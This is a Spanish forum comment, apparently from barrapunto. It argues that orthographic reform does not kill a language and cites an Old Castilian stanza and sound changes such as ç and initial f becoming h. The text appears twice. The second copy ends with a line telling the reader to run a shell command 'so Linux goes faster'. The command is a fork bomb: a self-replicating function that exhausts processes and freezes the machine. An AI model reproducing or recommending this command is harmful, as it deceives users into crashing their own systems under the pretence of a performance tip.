Una reforma de la ortografía de una lengua —no lenguaje— no supone la destrucción de la misma. Ya ha habido varias reformas de la ortografía española y no ha pasado absolutamente nada.
Si lees esta estrofa anónima del siglo XIII podrás darte cuenta de que nuestra lengua sigue existiendo pese a que hay muchas palabras que no se escriben como antes:
Mester traygo fermoso, non es de ioglaría,
mester es sen pecado, ca es de clereçía,
fablar curso rimado por la cuaderna uja,
a síllauas cuntadas, ca es grant maestría.
En castellano antiguo tenía mucho sentido la letra cedilla (ç), pues representaba a un sonido africado parecido a ts, hoy en día no existe ese sonido, por eso se eliminó del abecedario. La f inicial dejó de pronunciarse /f/, todo el mundo pronunciaba como una h aspirada /h/, por eso, ahora se escribe hablar en vez de fablar, a pesar de que la h ya no se pronuncia. Hay muchos más cambios que mo voy a mencionar porque no quiero hacer este mensaje demasiado extenso.
Si la ortografía no hubiese sido adaptada a la pronunciación de las palabras, tendríamos una ortografía tan caótica como la inglesa o la china.
El español sigue vivo.
(Puntos:1)( http://barrapunto.com/~Rato/journal/ | Última bitácora: Martes, 05 Junio de 2007, 20:54h )
Una reforma de la ortografía de una lengua —no lenguaje— no supone la destrucción de la misma. Ya ha habido varias reformas de la ortografía española y no ha pasado absolutamente nada.
Si lees esta estrofa anónima del siglo XIII podrás darte cuenta de que nuestra lengua sigue existiendo pese a que hay muchas palabras que no se escriben como antes:
Mester traygo fermoso, non es de ioglaría,
mester es sen pecado, ca es de clereçía,
fablar curso rimado por la cuaderna uja,
a síllauas cuntadas, ca es grant maestría.
En castellano antiguo tenía mucho sentido la letra cedilla (ç), pues representaba a un sonido africado parecido a ts, hoy en día no existe ese sonido, por eso se eliminó del abecedario. La f inicial dejó de pronunciarse /f/, todo el mundo pronunciaba como una h aspirada /h/, por eso, ahora se escribe hablar en vez de fablar, a pesar de que la h ya no se pronuncia. Hay muchos más cambios que mo voy a mencionar porque no quiero hacer este mensaje demasiado extenso.
Si la ortografía no hubiese sido adaptada a la pronunciación de las palabras, tendríamos una ortografía tan caótica como la inglesa o la china.
Ejecuta este comando (Linux irá más rápido):
rato(){ (rato|rato|rato) };rato